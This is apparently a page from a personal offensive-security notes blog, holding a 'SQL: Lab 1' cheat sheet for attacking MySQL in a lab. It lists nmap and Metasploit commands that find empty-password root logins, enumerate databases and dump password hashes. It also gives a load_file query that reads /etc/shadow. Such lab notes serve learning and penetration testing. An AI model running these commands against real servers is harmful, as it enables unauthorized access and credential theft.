boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

SQL: Lab 1

MySQL with Nmap

nmap <IP_HERE> -sV -p3306
nmap <IP_HERE> -sV -p3306 --script=mysql-empty-password  # find accounts that can login with an empty password
nmap <IP_HERE> -sV -p3306 --script=mysql-info     # grabs version, capabilities, etc...
nmap <IP_HERE> -sV -p3306 --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''"  # enumerates databases without username and password
nmap <IP_HERE> -sV -p3306 --script=mysql-users --script-args="mysqluser='root',mysqlpass=''"  # enumerates databases with username and password
nmap <IP_HERE> -sV -p3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''"  # find variables
nmap <IP_HERE> -sV -p3306 --script=mysql-dump-hashes --script-args="username='root',password=''"  # dump hashes
nmap <IP_HERE> -sV -p3306 --script=mysql-dump-query --script-args="query='SELECT count(*) FROM books.authors;',username='root',password=''"
nmap <IP_HERE> -sV -p3306 --script=mysql-audit --script-args="mysqlaudit.username='root',mysqlaudit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"

Connecting to MySQL

mysql -h <IP_HERE> -u root
  1. root is default for linux

Enumerating MySQL Database

SHOW databases;                   -- view available databases
USE books;
SELECT * FROM authors;
SELECT load_file("/etc/shadow");  -- grabs /etc/shadow

SQL with MSFconsole

use auxiliary/scanner/mysql/mysql_writable_dirs
set dir_list /usr/share/metasploit-framework/data/wordlists/directory.txt
set PASSWORD ""        # NULL password
setg RHOSTS <IP_HERE>  # sets RHOST global variable for the session
use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD ""